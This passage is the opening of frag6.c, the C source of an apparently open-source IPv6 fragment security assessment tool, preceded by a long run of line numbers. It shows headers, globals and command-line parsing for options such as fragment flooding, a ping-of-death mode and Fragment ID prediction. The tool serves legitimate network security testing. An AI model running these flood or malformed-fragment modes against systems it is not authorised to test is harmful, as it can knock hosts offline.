1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 799 800 801 802 803 804 805 806 807 808 809 810 811 812 813 814 815 816 817 818 819 820 821 822 823 824 825 826 827 828 829 830 831 832 833 834 835 836 837 838 839 840 841 842 843 844 845 846 847 848 849 850 851 852 853 854 855 856 857 858 859 860 861 862 863 864 865 866 867 868 869 870 871 872 873 874 875 876 877 878 879 880 881 882 883 884 885 886 887 888 889 890 891 892 893 894 895 896 897 898 899 900 901 902 903 904 905 906 907 908 909 910 911 912 913 914 915 916 917 918 919 920 921 922 923 924 925 926 927 928 929 930 931 932 933 934 935 936 937 938 939 940 941 942 943 944 945 946 947 948 949 950 951 952 953 954 955 956 957 958 959 960 961 962 963 964 965 966 967 968 969 970 971 972 973 974 975 976 977 978 979 980 981 982 983 984 985 986 987 988 989 990 991 992 993 994 995 996 997 998 999 1000 1001 1002 1003 1004 1005 1006 1007 1008 1009 1010 1011 1012 1013 1014 1015 1016 1017 1018 1019 1020 1021 1022 1023 1024 1025 1026 1027 1028 1029 1030 1031 1032 1033 1034 1035 1036 1037 1038 1039 1040 1041 1042 1043 1044 1045 1046 1047 1048 1049 1050 1051 1052 1053 1054 1055 1056 1057 1058 1059 1060 1061 1062 1063 1064 1065 1066 1067 1068 1069 1070 1071 1072 1073 1074 1075 1076 1077 1078 1079 1080 1081 1082 1083 1084 1085 1086 1087 1088 1089 1090 1091 1092 1093 1094 1095 1096 1097 1098 1099 1100 1101 1102 1103 1104 1105 1106 1107 1108 1109 1110 1111 1112 1113 1114 1115 1116 1117 1118 1119 1120 1121 1122 1123 1124 1125 1126 1127 1128 1129 1130 1131 1132 1133 1134 1135 1136 1137 1138 1139 1140 1141 1142 1143 1144 1145 1146 1147 1148 1149 1150 1151 1152 1153 1154 1155 1156 1157 1158 1159 1160 1161 1162 1163 1164 1165 1166 1167 1168 1169 1170 1171 1172 1173 1174 1175 1176 1177 1178 1179 1180 1181 1182 1183 1184 1185 1186 1187 1188 1189 1190 1191 1192 1193 1194 1195 1196 1197 1198 1199 1200 1201 1202 1203 1204 1205 1206 1207 1208 1209 1210 1211 1212 1213 1214 1215 1216 1217 1218 1219 1220 1221 1222 1223 1224 1225 1226 1227 1228 1229 1230 1231 1232 1233 1234 1235 1236 1237 1238 1239 1240 1241 1242 1243 1244 1245 1246 1247 1248 1249 1250 1251 1252 1253 1254 1255 1256 1257 1258 1259 1260 1261 1262 1263 1264 1265 1266 1267 1268 1269 1270 1271 1272 1273 1274 1275 1276 1277 1278 1279 1280 1281 1282 1283 1284 1285 1286 1287 1288 1289 1290 1291 1292 1293 1294 1295 1296 1297 1298 1299 1300 1301 1302 1303 1304 1305 1306 1307 1308 1309 1310 1311 1312 1313 1314 1315 1316 1317 1318 1319 1320 1321 1322 1323 1324 1325 1326 1327 1328 1329 1330 1331 1332 1333 1334 1335 1336 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346 1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361 1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376 1377 1378 1379 1380 1381 1382 1383 1384 1385 1386 1387 1388 1389 1390 1391 1392 1393 1394 1395 1396 1397 1398 1399 1400 1401 1402 1403 1404 1405 1406 1407 1408 1409 1410 1411 1412 1413 1414 1415 1416 1417 1418 1419 1420 1421 1422 1423 1424 1425 1426 1427 1428 1429 1430 1431 1432 1433 1434 1435 1436 1437 1438 1439 1440 1441 1442 1443 1444 1445 1446 1447 1448 1449 1450 1451 1452 1453 1454 1455 1456 1457 1458 1459 1460 1461 1462 1463 1464 1465 1466 1467 1468 1469 1470 1471 1472 1473 1474 1475 1476 1477 1478 1479 1480 1481 1482 1483 1484 1485 1486 1487 1488 1489 1490 1491 1492 1493 1494 1495 1496 1497 1498 1499 1500 1501 1502 1503 1504 1505 1506 1507 1508 1509 1510 1511 1512 1513 1514 1515 1516 1517 1518 1519 1520 1521 1522 1523 1524 1525 1526 1527 1528 1529 1530 1531 1532 1533 1534 1535 1536 1537 1538 1539 1540 1541 1542 1543 1544 1545 1546 1547 1548 1549 1550 1551 1552 1553 1554 1555 1556 1557 1558 1559 1560 1561 1562 1563 1564 1565 1566 1567 1568 1569 1570 1571 1572 1573 1574 1575 1576 1577 1578 1579 1580 1581 1582 1583 1584 1585 1586 1587 1588 1589 1590 1591 1592 1593 1594 1595 1596 1597 1598 1599 1600 1601 1602 1603 1604 1605 1606 1607 1608 1609 1610 1611 1612 1613 1614 1615 1616 1617 1618 1619 1620 1621 1622 1623 1624 1625 1626 1627 1628 1629 1630 1631 1632 1633 1634 1635 1636 1637 1638 1639 1640 1641 1642 1643 1644 1645 1646 1647 1648 1649 1650 1651 1652 1653 1654 1655 1656 1657 1658 1659 1660 1661 1662 1663 1664 1665 1666 1667 1668 1669 1670 1671 1672 1673 1674 1675 1676 1677 1678 1679 1680 1681 1682 1683 1684 1685 1686 1687 1688 1689 1690 1691 1692 1693 1694 1695 1696 1697 1698 1699 1700 1701 1702 1703 1704 1705 1706 1707 1708 1709 1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724 1725 1726 1727 1728 1729 1730 1731 1732 1733 1734 1735 1736 1737 1738 1739 1740 1741 1742 1743 1744 1745 1746 1747 1748 1749 1750 1751 1752 1753 1754 1755 1756 1757 1758 1759 1760 1761 1762 1763 1764 1765 1766 1767 1768 1769 1770 1771 1772 1773 1774 1775 1776 1777 1778 1779 1780 1781 1782 1783 1784 1785 1786 1787 1788 1789 1790 1791 1792 1793 1794 1795 1796 1797 1798 1799 1800 1801 1802 1803 1804 1805 1806 1807 1808 1809 1810 1811 1812 1813 1814 1815 1816 1817 1818 1819 1820 1821 1822 1823 1824 1825 1826 1827 1828 1829 1830 1831 1832 1833 1834 1835 1836 1837 1838 1839 1840 1841 1842 1843 1844 1845 1846 1847 1848 1849 1850 1851 1852 1853 1854 1855 1856 1857 1858 1859 1860 1861 1862 1863 1864 1865 1866 1867 1868 1869 1870 1871 1872 1873 1874 1875 1876 1877 1878 1879 1880 1881 1882 1883 1884 1885 1886 1887 1888 1889 1890 1891 1892 1893 1894 1895 1896 1897 1898 1899 1900 1901 1902 1903 1904 1905 1906 1907 1908 1909 1910 1911 1912 1913 1914 1915 1916 1917 1918 1919 1920 1921 1922 1923 1924 1925 1926 1927 1928 1929 1930 1931 1932 1933 1934 1935 1936 1937 1938 1939 1940 1941 1942 1943 1944 1945 1946 1947 1948 1949 1950 1951 1952 1953 1954 1955 1956 1957 1958 1959 1960 1961 1962 1963 1964 1965 1966 1967 1968 1969 1970 1971 1972 1973 1974 1975 1976 1977 1978 1979 1980 1981 1982 1983 1984 1985 1986 1987 1988 1989 1990 1991 1992 1993 1994 1995 1996 1997 1998 1999 2000 2001 2002 2003 2004 2005 2006 2007 2008 2009 2010 2011 2012 2013 2014 2015 2016 2017 2018 2019 2020 2021 2022 2023 2024 2025 2026 2027 2028 2029 2030 2031 2032 2033 2034 2035 2036 2037 2038 2039 2040 2041 2042 2043 2044 2045 2046 2047 2048 2049 2050 2051 2052 2053 2054 2055 2056 2057 2058 2059 2060 2061 2062 2063 2064 2065 2066 2067 2068 2069 2070 2071 2072 2073 2074 2075 2076 2077 2078 2079 2080 2081 2082 2083 2084 2085 2086 2087 2088 2089 2090 2091 2092 2093 2094 2095 2096 2097 2098 2099 2100 2101 2102 2103 2104 2105 2106 2107 2108 2109 2110 2111 2112 2113 2114 2115 2116 2117 2118 2119 2120 2121 2122 2123 2124 2125 2126 2127 2128 2129 2130 2131 2132 2133 2134 2135 2136 2137 2138 2139 2140 2141 2142 2143 2144 2145 2146 2147 2148 2149 2150 2151 2152 2153 2154 2155 2156 2157 2158 2159 2160 2161 2162 2163 2164 2165 2166 2167 2168 2169 2170 2171 2172 2173 2174 2175 2176 2177 2178 2179 2180 2181 2182 2183 2184 2185 2186 2187 2188 2189 2190 2191 2192 2193 2194 2195 2196 2197 2198 2199 2200 2201 2202 2203 2204 2205 2206 2207 2208 2209 2210 2211 2212 2213 2214 2215 2216 2217 2218 2219 2220 2221 2222 2223 2224 2225 2226 2227 2228 2229 2230 2231 2232 2233 2234 2235 2236 2237 2238 2239 2240 2241 2242 2243 2244 2245 2246 2247 2248 2249 2250 2251 2252 2253 2254 2255 2256 2257 2258 2259 2260 2261 2262 2263 2264 2265 2266 2267 2268 2269 2270 2271 2272 2273 2274 2275 2276 2277 2278 2279 2280 2281 2282 2283 2284 2285 2286 2287 2288 2289 2290 2291 2292 2293 2294 2295 2296 2297 2298 2299 2300 2301 2302 2303 2304 2305 2306 2307 2308 2309 2310 2311 2312 2313 2314 2315 2316 2317 2318 2319 2320 2321 2322 2323 2324 2325 2326 2327 2328 2329 2330 2331 2332 2333 2334 2335 2336 2337 2338 2339 2340 2341 2342 2343 2344 2345 2346 2347 2348 2349 2350 2351 2352 2353 2354 2355 2356 2357 2358 2359 2360 2361 2362 2363 2364 2365 2366 2367 2368 2369 2370 2371 2372 2373 2374 2375 2376 2377 2378 2379 2380 2381 2382 2383 2384 2385 2386 2387 2388 2389 2390 2391 2392 2393 2394 2395 2396 2397 2398 2399 2400 2401 2402 2403 2404 2405 2406 2407 2408 2409 2410 2411 2412 2413 2414 2415 2416 2417 2418 2419 2420 2421 2422 2423 2424 2425 2426 2427 2428 2429 2430 2431 2432 2433 2434 2435 2436 2437 2438 2439 2440 2441 2442 2443 2444 2445 2446 2447 2448 2449 2450 2451 2452 2453 2454 2455 2456 2457 2458 2459 2460 2461 2462 2463 2464 2465 2466 2467 2468 2469 2470 2471 2472 2473 2474 2475 2476 2477 2478 2479 2480 2481 2482 2483 2484 2485 2486 2487 2488 2489 2490 2491 2492 2493 2494 2495 2496 2497 2498 2499 2500 2501 2502 2503 2504 2505 2506 2507 2508 2509 2510 2511 2512 2513 2514 2515 2516 2517 2518 2519 2520 2521 2522 2523 2524 2525 2526 2527 2528 2529 2530 2531 2532 2533 2534 2535 2536 2537 2538 2539 2540 2541 2542 2543 2544 2545 2546 2547 2548 2549 2550 2551 2552 2553 2554 2555 2556 2557 2558 2559 2560 2561 2562 2563 2564 2565 2566 2567 2568 2569 2570 2571 2572 2573 2574 2575 2576 2577 2578 2579 2580 2581 2582 2583 2584 2585 2586 2587 2588 2589 2590 2591 2592 2593 2594 2595 2596 2597 2598 2599 2600 2601 2602 2603 2604 2605 2606 2607 2608 2609 2610 2611 2612 2613 2614 2615 2616 2617 2618 2619 2620 2621 2622 2623 2624 2625 2626 2627 2628 2629 2630 2631 2632 2633 2634 2635 2636 2637 2638 2639 2640 2641 2642 2643 2644 2645 2646 2647 2648 2649 2650 2651 2652 2653 2654 2655 2656 2657 2658 2659 2660 2661 2662 2663 2664 2665 2666 2667 2668 2669 2670 2671 2672 2673 2674 2675 2676 2677 2678 2679 2680 2681 2682 2683 2684 2685 2686 2687 2688 2689 2690 2691 2692 2693 2694 2695 2696 2697 2698 2699 2700 2701 2702 2703 2704 2705 2706 2707 2708 2709 2710 2711 2712 2713 2714 2715 2716 2717 2718 2719 2720 2721 2722 2723 2724 2725 2726 2727 2728 2729 2730 2731 2732 2733 2734 2735 2736 2737 2738 2739
|
/*
* frag6: A security assessment tool that exploits potential flaws in the
* processing of IPv6 fragments
*
* Copyright (C) 2011-2015 Fernando Gont (fgont@si6networks.com)
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
*
* Build with: make frag6
*
* It requires that the libpcap library be installed on your system.
*
* Please send any bug reports to Fernando Gont <fgont@si6networks.com>
*/
#include <sys/types.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <sys/select.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/ip6.h>
#include <netinet/icmp6.h>
#include <net/if.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <pcap.h>
#include <limits.h>
#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <time.h>
#include <getopt.h>
#include <unistd.h>
#include <signal.h>
#include <string.h>
#include <setjmp.h>
#include <math.h>
#include "frag6.h"
#include "ipv6toolkit.h"
#include "libipv6.h"
#define DEBUG
/* Function prototypes */
int predict_frag_id(uint32_t *, unsigned int, uint32_t *, unsigned int);
void print_attack_info(struct iface_data *);
void print_help(void);
void print_icmp6_echo(struct iface_data *, struct pcap_pkthdr *, const u_char *);
void print_icmp6_timed(struct iface_data *, struct pcap_pkthdr *, const u_char *);
void process_icmp6_echo(struct iface_data *, struct pcap_pkthdr *, const u_char *, unsigned char *, unsigned int *);
void process_icmp6_timed(struct iface_data *, struct pcap_pkthdr *, const u_char *, unsigned char *);
int send_fid_probe(struct iface_data *);
int send_fragment(struct iface_data *, unsigned int, unsigned int, unsigned int, unsigned int, unsigned int);
int send_fragment2(struct iface_data *, uint16_t, unsigned int, unsigned int, unsigned int, unsigned int, char *);
int test_frag_pattern(unsigned char *, unsigned int, char *);
void usage(void);
int valid_icmp6_response(struct iface_data *, struct pcap_pkthdr *, const u_char *);
int valid_icmp6_response2(struct iface_data *, struct pcap_pkthdr *, const u_char *, unsigned int);
/* Used for router discovery */
struct iface_data idata;
struct in6_addr randprefix;
unsigned char randpreflen;
/* Data structures for packets read from the wire */
struct pcap_pkthdr *pkthdr;
const u_char *pktdata;
unsigned char *pkt_end, *pkt_ptr;
struct ether_header *pkt_ether;
struct ip6_hdr *pkt_ipv6;
struct ip6_frag *pkt_fh;
struct icmp6_hdr *pkt_icmp6;
struct nd_neighbor_solicit *pkt_ns;
struct in6_addr *pkt_ipv6addr;
unsigned int pktbytes;
bpf_u_int32 my_netmask;
bpf_u_int32 my_ip;
struct bpf_program pcap_filter;
char dev[64], errbuf[PCAP_ERRBUF_SIZE];
unsigned char buffer[65556], buffrh[MIN_IPV6_HLEN + MIN_TCP_HLEN];
unsigned char *v6buffer, *ptr, *startofprefixes;
char *pref;
struct ip6_hdr *ipv6;
struct icmp6_hdr *icmp6;
struct ether_header *ethernet;
struct dlt_null *dlt_null;
struct nd_opt_tlla *tllaopt;
struct ether_addr linkaddr[MAX_TLLA_OPTION];
unsigned int nlinkaddr=0, linkaddrs;
char *lasts, *rpref;
char *charptr;
size_t nw;
unsigned long ul_res, ul_val;
unsigned int i, j, startrand;
unsigned int skip;
unsigned int frags, nfrags, nsleep;
uint16_t mask, ip6length;
uint8_t hoplimit;
char plinkaddr[ETHER_ADDR_PLEN];
char psrcaddr[INET6_ADDRSTRLEN], pdstaddr[INET6_ADDRSTRLEN], pv6addr[INET6_ADDRSTRLEN];
unsigned char verbose_f=0;
unsigned char floodf_f=0;
unsigned char loop_f=0, sleep_f=0, localaddr_f=0, tstamp_f=1, pod_f=0, gotresp_f= FALSE;
unsigned char srcprefix_f=0, hoplimit_f=0, ip6length_f=0, icmp6psize_f=0;
unsigned char fsize_f=0, forder_f=0, foffset_f=0, fid_f=0, fragp_f=0, fragidp_f=0, resp_f=1;
uint32_t fsize, foffset, fid, id;
unsigned int forder, overlap, minfragsize;
/* Support for Extension Headers */
unsigned int dstopthdrs, dstoptuhdrs, hbhopthdrs;
char hbhopthdr_f=0, dstoptuhdr_f=0, dstopthdr_f=0;
unsigned char *dstopthdr[MAX_DST_OPT_HDR], *dstoptuhdr[MAX_DST_OPT_U_HDR];
unsigned char *hbhopthdr[MAX_HBH_OPT_HDR];
unsigned int dstopthdrlen[MAX_DST_OPT_HDR], dstoptuhdrlen[MAX_DST_OPT_U_HDR];
unsigned int hbhopthdrlen[MAX_HBH_OPT_HDR], m, pad;
struct ip6_frag *fh;
struct ip6_hdr *fipv6;
unsigned char *fragpart, *ptrend, *ptrhdr, *ptrhdrend;
unsigned int hdrlen, ndstopthdr=0, nhbhopthdr=0, ndstoptuhdr=0;
unsigned int nfrags, fragsize;
unsigned char *prev_nh, *startoffragment;
/* Basic data blocks used for detecting the fragment reassembly policy. They contain the same words
* in different order, thus resulting in the same checksum
*/
#define FRAG_BLOCK_SIZE 8
char block1[8]={'a', 'a', 'b', 'b', 'c', 'c', 'd', 'd'};
char block2[8]={'b', 'b', 'a', 'a', 'c', 'c', 'd', 'd'};
char block3[8]={'c', 'c', 'a', 'a', 'b', 'b', 'd', 'd'};
char block4[8]={'d', 'd', 'a', 'a', 'b', 'b', 'c', 'c'};
char block5[8]={'d', 'd', 'c', 'c', 'b', 'b', 'a', 'a'};
char block6[8]={'c', 'c', 'd', 'd', 'b', 'b', 'a', 'a'};
char block7[8]={'b', 'b', 'd', 'd', 'c', 'c', 'a', 'a'};
char block8[8]={'a', 'a', 'd', 'd', 'c', 'c', 'b', 'b'};
/* For the sampling of Fragment Identification values */
uint16_t addr_sig, addr_key;
uint32_t icmp6_sig;
int main(int argc, char **argv){
extern char *optarg;
char *endptr; /* Used by strtoul() */
fd_set sset, rset;
struct timeval timeout;
struct target_ipv6 targetipv6;
int r, sel;
time_t curtime, start, lastfrag=0, lastfrag1=0, lastfrag2=0;
time_t lastfrag3=0, lastfrag4=0, lastfrag5=0;
struct timeval curtimet, startt, lastfrag1t;
unsigned int responses=0, maxsizedchunk;
/* Array for storing the Fragment reassembly policy test results */
unsigned char test[5];
/* Arrays for storing the Fragment ID samples */
uint32_t test1[NSAMPLES], test2[NSAMPLES];
unsigned int ntest1=0, ntest2=0;
unsigned char testtype;
static struct option longopts[] = {
{"interface", required_argument, 0, 'i'},
{"link-src-addr", required_argument, 0, 'S'},
{"link-dst-addr", required_argument, 0, 'D'},
{"src-address", required_argument, 0, 's'},
{"dst-address", required_argument, 0, 'd'},
{"hop-limit", required_argument, 0, 'A'},
{"dst-opt-hdr", required_argument, 0, 'u'},
{"dst-opt-u-hdr", required_argument, 0, 'U'},
{"hbh-opt-hdr", required_argument, 0, 'H'},
{"frag-size", required_argument, 0, 'P'},
{"frag-type", required_argument, 0, 'O'},
{"frag-offset", required_argument, 0, 'o'},
{"frag-id", required_argument, 0, 'I'},
{"no-timestamp", no_argument, 0, 'T'},
{"no-responses", no_argument, 0, 'n'},
{"frag-reass-policy", no_argument, 0, 'p'},
{"frag-id-policy", no_argument, 0, 'W'},
{"pod-attack", no_argument, 0, 'X'},
{"flood-frags", required_argument, 0, 'F'},
{"loop", no_argument, 0, 'l'},
{"sleep", required_argument, 0, 'z'},
{"verbose", no_argument, 0, 'v'},
{"help", no_argument, 0, 'h'},
{0, 0, 0, 0 }
};
char shortopts[]= "i:S:D:s:d:A:u:U:H:P:O:o:I:TnpWXF:lz:vh";
char option;
if(argc<=1){
usage();
exit(EXIT_FAILURE);
}
srandom(time(NULL));
hoplimit=64+random()%180;
init_iface_data(&idata);
while((r=getopt_long(argc, argv, shortopts, longopts, NULL)) != -1) {
option= r;
switch(option) {
case 'i': /* Interface */
strncpy(idata.iface, optarg, IFACE_LENGTH-1);
idata.iface[IFACE_LENGTH-1]=0;
idata.ifindex= if_nametoindex(idata.iface);
idata.iface_f=TRUE;
break;
case 's': /* IPv6 Source Address */
if((charptr = strtok_r(optarg, "/", &lasts)) == NULL){
puts("Error in Source Address");
exit(EXIT_FAILURE);
}
if ( inet_pton(AF_INET6, charptr, &(idata.srcaddr)) <= 0){
puts("inet_pton(): Source Address not valid");
exit(EXIT_FAILURE);
}
idata.srcaddr_f = 1;
if((charptr = strtok_r(NULL, " ", &lasts)) != NULL){
idata.srcpreflen = atoi(charptr);
if(idata.srcpreflen>128){
puts("Prefix length error in IPv6 Source Address");
exit(EXIT_FAILURE);
}
sanitize_ipv6_prefix(&(idata.srcaddr), idata.srcpreflen);
idata.srcprefix_f=1;
}
break;
case 'd': /* IPv6 Destination Address */
strncpy( targetipv6.name, optarg, NI_MAXHOST);
targetipv6.name[NI_MAXHOST-1]= 0;
targetipv6.flags= AI_CANONNAME;
if( (r=get_ipv6_target(&targetipv6)) != 0){
if(r < 0){
printf("Unknown Destination: %s\n", gai_strerror(targetipv6.res));
}
else{
puts("Unknown Destination: No IPv6 address found for specified destination");
}
exit(1);
}
idata.dstaddr= targetipv6.ip6;
idata.dstaddr_f = 1;
break;
case 'A': /* Hop Limit */
hoplimit= atoi(optarg);
hoplimit_f=1;
break;
case 'u': /* Destinations Options Header */
if(ndstopthdr >= MAX_DST_OPT_HDR){
puts("Too many Destination Options Headers");
exit(EXIT_FAILURE);
}
hdrlen= atoi(optarg);
if(hdrlen < 8){
puts("Bad length in Destination Options Header");
exit(EXIT_FAILURE);
}
hdrlen = ((hdrlen+7)/8) * 8;
dstopthdrlen[ndstopthdr]= hdrlen;
if( (dstopthdr[ndstopthdr]= malloc(hdrlen)) == NULL){
puts("Not enough memory for Destination Options Header");
exit(EXIT_FAILURE);
}
ptrhdr= dstopthdr[ndstopthdr] + 2;
ptrhdrend= dstopthdr[ndstopthdr] + hdrlen;
while( ptrhdr < ptrhdrend){
if( (ptrhdrend-ptrhdr)>257)
pad= 257;
else
pad= ptrhdrend-ptrhdr;
if(!insert_pad_opt(ptrhdr, ptrhdrend, pad)){
puts("Destination Options Header Too Big");
exit(EXIT_FAILURE);
}
ptrhdr= ptrhdr + pad;
}
*(dstopthdr[ndstopthdr]+1)= (hdrlen/8)-1;
ndstopthdr++;
dstopthdr_f=1;
break;
case 'U': /* Destination Options Header (Unfragmentable Part) */
if(ndstoptuhdr >= MAX_DST_OPT_U_HDR){
puts("Too many Destination Options Headers (Unfragmentable Part)");
exit(EXIT_FAILURE);
}
hdrlen= atoi(optarg);
if(hdrlen < 8){
puts("Bad length in Destination Options Header (Unfragmentable Part)");
exit(EXIT_FAILURE);
}
hdrlen = ((hdrlen+7)/8) * 8;
dstoptuhdrlen[ndstoptuhdr]= hdrlen;
if( (dstoptuhdr[ndstoptuhdr]= malloc(hdrlen)) == NULL){
puts("Not enough memory for Destination Options Header (Unfragmentable Part)");
exit(EXIT_FAILURE);
}
ptrhdr= dstoptuhdr[ndstoptuhdr]+2;
ptrhdrend= dstoptuhdr[ndstoptuhdr] + hdrlen;
while( ptrhdr < ptrhdrend){
if( (ptrhdrend-ptrhdr)>257)
pad= 257;
else
pad= ptrhdrend-ptrhdr;
if(!insert_pad_opt(ptrhdr, ptrhdrend, pad)){
puts("Destination Options Header (Unfragmentable Part) Too Big");
exit(EXIT_FAILURE);
}
ptrhdr = ptrhdr + pad;
}
*(dstoptuhdr[ndstoptuhdr]+1)= (hdrlen/8) - 1;
ndstoptuhdr++;
dstoptuhdr_f=1;
break;
case 'H': /* Hop-by-Hop Options Header */
if(nhbhopthdr >= MAX_HBH_OPT_HDR){
puts("Too many Hop-by-Hop Options Headers");
exit(EXIT_FAILURE);
}
hdrlen= atoi(optarg);
if(hdrlen < 8){
puts("Bad length in Hop-by-Hop Options Header");
exit(EXIT_FAILURE);
}
hdrlen = ((hdrlen+7)/8) * 8;
hbhopthdrlen[nhbhopthdr]= hdrlen;
if( (hbhopthdr[nhbhopthdr]= malloc(hdrlen)) == NULL){
puts("Not enough memory for Hop-by-Hop Options Header");
exit(EXIT_FAILURE);
}
ptrhdr= hbhopthdr[nhbhopthdr] + 2;
ptrhdrend= hbhopthdr[nhbhopthdr] + hdrlen;
while( ptrhdr < ptrhdrend){
if( (ptrhdrend-ptrhdr)>257)
pad= 257;
else
pad= ptrhdrend-ptrhdr;
if(!insert_pad_opt(ptrhdr, ptrhdrend, pad)){
puts("Hop-by-Hop Options Header Too Big");
exit(EXIT_FAILURE);
}
ptrhdr = ptrhdr + pad;
}
*(hbhopthdr[nhbhopthdr]+1)= (hdrlen/8) - 1;
nhbhopthdr++;
hbhopthdr_f=1;
break;
case 'S': /* Source Ethernet address */
if(ether_pton(optarg, &(idata.hsrcaddr), sizeof(idata.hsrcaddr)) == 0){
puts("Error in Source link-layer address.");
exit(EXIT_FAILURE);
}
idata.hsrcaddr_f = 1;
break;
case 'D': /* Destination Ethernet Address */
if(ether_pton(optarg, &(idata.hdstaddr), sizeof(idata.hdstaddr)) == 0){
puts("Error in Source link-layer address.");
exit(EXIT_FAILURE);
}
idata.hdstaddr_f = 1;
break;
case 'P': /* Fragment Size*/
fsize= atoi(optarg);
fsize_f= 1;
break;
case 'O': /* Fragment Type */
if(strncmp(optarg, "first", MAX_STRING_SIZE) == 0){
forder= FIRST_FRAGMENT;
forder_f=1;
}
else if(strncmp(optarg, "last", MAX_STRING_SIZE) == 0){
forder= LAST_FRAGMENT;
forder_f=1;
}
else if(strncmp(optarg, "middle", MAX_STRING_SIZE) == 0){
forder= MIDDLE_FRAGMENT;
forder_f=1;
}
else if(strncmp(optarg, "atomic", MAX_STRING_SIZE) == 0){
forder= ATOMIC_FRAGMENT;
forder_f=1;
}
else{
puts("Unknown fragment order (valid order types: 'first', 'last', 'middle')");
exit(EXIT_FAILURE);
}
break;
case 'o': /* Fragment Offset */
if((ul_res = strtoul(optarg, &endptr, 0)) == ULONG_MAX){
perror("Error in 'Fragment Offset' parameter");
exit(EXIT_FAILURE);
}
if(endptr != optarg){
foffset = ul_res;
foffset_f=1;
}
break;
case 'I': /* Fragment Identification */
if((ul_res = strtoul(optarg, &endptr, 0)) == ULONG_MAX){
perror("Error in 'Fragment Identification' parameter");
exit(EXIT_FAILURE);
}
if(endptr != optarg){
fid = ul_res;
fid_f=1;
}
break;
case 'T': /* Do not include timestamp in fragment */
tstamp_f=0;
break;
case 'n': /* Do not show responses */
resp_f=0;
break;
case 'p': /* Assess the fragment reassembly policy of the target */
fragp_f= 1;
break;
case 'W': /* Assess the fragment id generation policy of the target */
fragidp_f= 1;
break;
case 'F': /* Flood target with fragments */
nfrags= atoi(optarg);
if(nfrags == 0){
puts("Invalid number of fragments in option -F");
exit(EXIT_FAILURE);
}
floodf_f= 1;
break;
case 'X':
pod_f=1;
break;
case 'l': /* "Loop mode */
loop_f = 1;
break;
case 'z': /* Sleep option */
nsleep=atoi(optarg);
if(nsleep==0){
puts("Invalid number of seconds in '-z' option");
exit(EXIT_FAILURE);
}
sleep_f=1;
break;
case 'v': /* Be verbose */
idata.verbose_f++;
break;
case 'h': /* Help */
print_help();
exit(EXIT_FAILURE);
break;
default:
usage();
exit(EXIT_FAILURE);
break;
} /* switch */
} /* while(getopt) */
verbose_f= idata.verbose_f;
if(geteuid()) {
puts("frag6 needs root privileges to run.");
exit(EXIT_FAILURE);
}
if(!idata.iface_f){
